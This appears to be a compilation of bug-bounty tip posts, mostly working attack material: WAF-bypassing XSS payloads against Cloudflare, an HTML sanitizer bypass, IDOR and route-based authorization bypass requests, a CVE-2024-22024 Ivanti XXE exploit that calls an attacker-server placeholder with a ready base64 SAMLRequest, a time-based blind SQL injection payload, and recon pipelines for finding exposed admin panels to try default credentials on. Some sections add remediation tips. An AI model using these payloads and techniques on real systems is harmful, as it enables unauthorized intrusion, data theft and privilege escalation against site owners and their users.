🔥 Cloudflare WAF Bypassed! ⚙️

Understanding JavaScript obfuscation can help you bypass even hardened filters!

🔐 Blocked Payload:

"-alert(0)-"

✅ Bypassed Payload:

"-top['al\x65rt']('XD')-"

⚡️This simple use of obfuscation (al\x65rt for alert) tricked Cloudflare’s default protections and executed successfully!

🧠 Why it works:
🔸Obfuscating keywords can bypass signature-based WAFs.

top['alert']() accesses the same function via property notation.

\x65 = e → so al\x65rt = alert.

Keep this in your toolkit for bug bounty and testing WAF behavior.

🚨 HTML Sanitizer Bypass → XSS in Cloudflare-Protected Sites 🛡➡️💥

"HTML Sanitizer Bypass Cloudflare leads to XSS"

🛠 Payload Example:

<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-Click</00>--%20/

🧼 What is an HTML Sanitizer?

An HTML Sanitizer is a security filter that cleans user input by:
🔸 Removing or encoding potentially dangerous HTML tags (like <script>)
🔸 Stripping out JavaScript event handlers (like onerror, onclick)
🔸Preventing the execution of embedded scripts or unwanted links

The goal? Prevent XSS (Cross-Site Scripting) — a common attack where malicious code is injected into web pages.

🧠 How Attackers Bypass Sanitizers
Even the best sanitizers (like Cloudflare’s) can be tricked by:

1️⃣ Broken Tag Parsing
- Injecting malformed or incomplete HTML tags to confuse the sanitizer.

2️⃣ Double Encoding or Mixed Encodings
- Using %20 (space), &#x hex codes, or malformed entities to sneak past filters.

3️⃣ Exotic or Legacy Elements
- Tags like <xmp>, <noscript>, <svg>, <math>, etc., which behave differently across browsers.

4️⃣ Unescaped Quotes or Attributes
- Exploiting open attributes or injecting unexpected quotes to break out of the context.

🔥 This Payload Breakdown:

<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-Click</00>--%20/

🔸 00 is a fake/custom tag used to confuse the sanitizer (not a valid HTML tag).
🔸 %20 is a URL-encoded space to bypass simple filters.
🔸 The anchor <a href="javascript:..."> triggers an alert when clicked.
🔸 </00> doesn’t close anything valid, but some sanitizers misinterpret it, leaving the payload alive in the DOM.

🛡 Defense Tips:
🔸 Use a strict allowlist sanitizer like DOMPurify.
🔸Strip invalid or custom tags aggressively.
🔸Always escape output based on context (HTML, JS, URL, etc.).
🔸Never trust user input — sanitize AND validate.

📌 Stay Alert: Even with powerful platforms like Cloudflare, clever payloads can still sneak through.

🔍 Advanced IDOR Bypass: Combining IDs to Evade Authorization

Sometimes, a single request to access another user's data will get denied — but pair it with your own ID, and magic happens. 🪄

Let’s break it down with a real-world scenario:

🧪 Scenario:

🧑 Victim's User ID: 5200
👨‍💻 Attacker's User ID: 5233 (authenticated)

🔒 Normal Request – Access Denied:

GET /api/users/5200/info
Response: 403 Forbidden ❌

🧠 Bypassed Request – Combine IDs:

GET /api/users/5200,5233/info
Response: 200 OK ✅ (Both users' info returned!)

✅ By injecting a second, valid ID into the request (your own), the API authorizes the entire request.

🔍 Why This Works:
🔸Improper authorization logic: The server checks if any ID is valid instead of ensuring that all requested IDs are authorized.
🔸Batch processing bugs: APIs that support multiple IDs in a single call (e.g., CSV, JSON arrays) often overlook proper per-ID access controls.
🔸 Lazy enumeration filtering: Sometimes only the first or last item in a multi-ID request is validated.

🔐 Defensive Tips for Developers:
⚡️ Validate authorization per entity – not just the requestor.
⚡️ Reject all multi-ID requests that contain any unauthorized IDs.
⚡️Log and monitor API requests for suspicious patterns like user1,user2.

📢 Stay sharp, stay sneaky (ethically), and keep testing those edges. This is how you win in bug bounties! 💰💥

🚨 CVE-2024-22024 - Ivanti Connect Secure XXE Exploit (SAMLRequest Injection)

🛠 This critical vulnerability allows XML External Entity (XXE) injection via a crafted SAMLRequest parameter — enabling attackers to read internal files, SSRF, or exfiltrate data.

🧠 Vulnerable Endpoint:

POST /dana-na/auth/saml-sso.cgi

📦 Injection Vector:
The vulnerability is triggered when the server processes a malicious SAMLRequest (XML-based SAML input) containing an external entity.

💥 Exploit Payload (Before Encoding):

<?xml version="1.0" ?>
<!DOCTYPE root [
  <!ENTITY % xxe SYSTEM "http://{{attacker-server}}/x">
  %xxe;
]>
<r></r>

🔐 Replace {{attacker-server}} with your Burp Collaborator or HTTP listener.

🧬 Base64-Encoded Payload:
Encode the full XML above using base64, then send it as a SAMLRequest parameter like:

POST /dana-na/auth/saml-sso.cgi
Content-Type: application/x-www-form-urlencoded
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjxET0NUWVBFIG5hbWU9InJvb3QiIFtdPCEtLSFFTlRJVFkgJSB4eGUgU1lTVEVNICJodHRwOi8ve3thdHRhY2tlci1zZXJ2ZXJ9fS94Ij4gJSB4eGU7XT48cj48L3I+

🔎 Tip: Always double-check the encoding and test with tools like Burp Suite or Postman.

🚨 Advanced XSS WAF Bypass in JavaScript Context

💡 This clever payload uses template literals and method hijacking to bypass WAF filters that look for standard alert() calls or <script> tags.

💣 Payload:

''.replace.call`1${/.../}${alert}`
\

🧠 How It Works:
1️⃣ Uses template literals (...) with function interpolation, rarely detected by basic WAFs.

2️⃣ .replace.call is a method hijack that tricks the JavaScript engine into executing expressions.

3️⃣ The ${/.../} part is a placeholder—you can inject anything benign or control flow code here (e.g., regex).

4️⃣ ${alert} dynamically refers to the global alert function in modern browsers.

🧪 Example Use:
When injected in an environment where inline JS context is allowed:

<script>
  let x = ''.replace.call`1${/.*/}${alert}`
</script>

✅ This triggers an alert popup—without using parentheses or a direct alert() call, which many WAFs try to block.

📛 Why This Matters:

Standard filters often catch:

<script>alert(1)</script>

But not this obfuscated version:

''.replace.call`1${/.*/}${alert}`

📍 Used effectively in bug bounty and pentest scenarios involving tough WAFs.

🔐 Always test in safe environments (e.g., XSS Hunter, Burp Collaborator, or JSFiddle with CSP disabled).

🔓 Privilege Escalation via Endpoint Inconsistency

📌 Bug Summary:
A strange behavior was detected in the API endpoint used to manage team groups:

PUT /v4/catalogos/grupos/1BBDB79F     => 401 Unauthorized
PUT catalogos/grupos/1BBDB79F         => 200 OK

🚨 Impact:

A low-privileged or unauthorized user is blocked from accessing /v4/..., but can perform privileged actions using the non-versioned endpoint.

🔍 Root Cause

The application likely applies access control based on route prefixes (/v4/) but forgets to enforce the same checks on fallback or legacy routes (catalogos/...).

This leads to:

✅ PUT catalogos/grupos/ID → Allowed (no auth or weak checks)
❌ PUT /v4/catalogos/grupos/ID → Rejected (correctly blocked)

⚔️ Exploitable Actions
With this bypass:

✏️ You can edit existing teams (PUT)
➕ You can create new teams if POST is similarly unprotected
🎯 Possibly delete or enumerate sensitive data via other HTTP verbs (test DELETE, GET, PATCH)

🧪 PoC Example (Burp / Curl)

PUT /catalogos/grupos/1BBDB79F HTTP/1.1
Host: target.com
Authorization: Bearer <low-priv-token>
Content-Type: application/json

{
  "name": "Red Team Access",
  "role": "admin"
}

➡️ Response: 200 OK

🔐 Remediation
👉🏻 Normalize access control checks across all routes, regardless of versioning.
👉🏻 Audit legacy or alias endpoints for missing middleware (e.g., auth, RBAC).

🟡 Consider blocking or redirecting legacy paths.

🚩 Severity: High
💎 Exploitable by unprivileged users
💎 Leads to unauthorized data tampering and privilege escalation
💎 May affect audit integrity and team configurations

📢 Stay sharp! Bypass bugs like this often lurk in the shadows of version upgrades and refactors. Always test alternate routes.

🚨 Broken Access Control 🔓 Exposes All Users
⚠️ Simple URL parameter = Full user enumeration!

🧠 What's the issue?
An API endpoint meant to return only your user info can be tricked into showing all users in the workspace using a hidden parameter. Classic Broken Access Control 💀

📡 Endpoints:

❌ Normal Request:

GET /_core_/workspaces/716/users

🔐 Returns only your data

✅ Exploit with:

GET /_core_/workspaces/716/users?return_all_user=true

🔓 Returns all users in the workspace

🔍 Why this matters:

Leaks full user directory 🧑‍💻👩‍💼

May expose:

📧 Emails
🆔 User IDs
🛡 Roles & permissions

Can lead to:

⚡️Privilege escalation
⚡️Phishing
⚡️Further lateral attacks

🛡 Fix Recommendations:

✅ Never trust client-side params for access control
✅ Enforce strict backend validation
✅ Implement Role-Based Access Control (RBAC)
✅ Audit all API endpoints & query params

🎯 Blind SQL Injection Hunting Tips (BSQLi)
Exploit time-based SQLi like a pro

Blind SQL Injection is tricky — there's no visible output, so you need to detect it by behavior (usually time delay).

Here's how to hunt it efficiently:

🛠 Step-by-Step Strategy:
1️⃣ Gather target URLs
Use tools like:

gau target.com > urls.txt
waybackurls target.com >> urls.txt

Or go manual with Google Dorks:

site:target.com inurl:php?id=

2️⃣ Test every parameter
Inject one param at a time:

example.com/page.php?id=PAYLOAD

3️⃣ Watch for delay-based response
No output? No problem — you’re looking for time delay.

💣 Example Payload:

0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

✅ What it does:

If the DB returns true, it triggers a sleep(10)
You’ll see a 10-second delay
This confirms injection is successful — even with no output

🧠 Bonus Tips:
🚀 Run in Burp Intruder or ffuf with a delay monitor

Try different SQL syntaxes: OR SLEEP(5)--+, '||SLEEP(5)--

Useful on POST requests, JSON bodies, and even headers

🎯 Success = Detection
Once confirmed, escalate to extract:

🪝 DB names via information_schema
🪝 Users, hashes, tokens
🪝 Or trigger more dangerous logic

💥 Automate what you can, but always manually verify delays!

You’re blocked by a 403? Try appending .json or .xml — and boom 💥

🧪 Discovery
While testing an endpoint:

PUT /my_day/jobs/4 HTTP/2 → ❌ 403 Forbidden

But then, using this slight variation:

PUT /my_day/jobs/4.json HTTP/2 → ✅ 200 OK

🔐 Authorization checks were bypassed.

💡 Why this works:
Many frameworks (Rails, Django, older Node APIs):

- Treat /resource.json as a different route
- Apply different middlewares or access checks
- Sometimes, JSON API routes are under-tested or forgotten

🚨 Impact:
✅ Edit or delete other users' jobs/tasks
✅ Privilege escalation
✅ Potential full account takeover if used on critical endpoints

🛠 Tips for Hunters:
Try .json, .xml, .html, .txt, .pdf, etc.

Fuzz URL paths with suffixes using:

ffuf -u https://target.com/jobs/4FUZZ -w extensions.txt

Always compare HTTP status codes & response body

Use Burp Repeater to replay both versions

🧠 IDORs are everywhere — especially in:

- To-do apps
- Calendars
- Project management tools
- RESTful APIs

📣 Keep Testing. Keep Winning.

🐞 Bug-Hunt Tips for New Hunters
🎯 Discover Unauthenticated Panels by Fingerprint

Looking to score easy wins in your bug bounty or recon workflow?

Use this simple whatweb trick to find exposed admin panels that don’t require authentication:

whatweb -i live.txt | grep -i "admin\|dashboard\|login"

📌 What this does:

- Scans a list of live hosts (live.txt)
- Filters out pages that mention:
- admin panels
- dashboard UIs
- login portals

🔎 Why it works:
Many platforms like:
- Jenkins
- Kibana
- Prometheus
- Webmin
- phpMyAdmin

...often get deployed and forgotten, especially in internal or staging environments.

➡️ No auth = jackpot for:

- Remote Code Execution (RCE)
- Credential leaks
- Internal service exposure
- Lateral movement

🚨 Real-world tip:
Once found, try:

- Default credentials (admin:admin, root:toor)
- Known CVEs (e.g., Jenkins RCE, unauth Kibana SSRF)
- Screenshotting with aquatone or gowitness for easy triage

🧠 Pro tip:
Chain this into your recon pipeline:

subfinder | httpx -status-code -silent > live.txt
whatweb -i live.txt | grep -i "admin\|dashboard\|login"

🎓 Knowledge = access. Stay sharp, automate wisely, and always test legacy panels.

🧩 How to Collect GET-Based Parameters (Like a Pro)

🔍

A solid recon phase is the foundation of every successful bug bounty. Here’s my full methodology to collect GET parameters for deeper vulnerability testing like XSS, SSRF, Open Redirect, and more.

📌 Step-by-Step Breakdown

🔸 1. Subdomain + Endpoint Discovery
First, gather as many live subdomains and endpoints as possible:

subfinder -d vulnweb.com -all | tee subs.txt
cat subs.txt | httpx -paths /robots.txt,/sitemap.xml -silent -mc 200 | tee live_hosts.txt

🔸 2. URL Collection
Use multiple tools for maximum coverage:

cat subs.txt | waybackurls > wayback.txt
cat subs.txt | gau --threads 5 > gau.txt
cat subs.txt | hakrawler > hakrawler.txt

🧪 Merge everything:

cat wayback.txt gau.txt hakrawler.txt | sort -u > all_urls.txt

🔸 3. Extract GET Parameters
Now filter only the URLs that have query parameters:

grep -aE "\?.*=" all_urls.txt | grep -aiEv "\.(css|ico|png|jpg|js|json|svg|pdf|xml|webp)" | anew > get_params.txt

🔥 You can also clean and fuzz with qsreplace:

cat get_params.txt | qsreplace "FUZZ" > fuzzable_params.txt

🔸 4. BONUS: Extract Unique Param Names
For custom wordlists or targeted attacks:

cat get_params.txt | unfurl keys | sort -u > param_names.txt

🎯 Why This Matters:
Finding hidden or unused parameters gives you prime entry points to test for:
• ✅ Reflected & Stored XSS
• ✅ SSRF attacks via internal URL redirects
• ✅ Open Redirects and IDORs
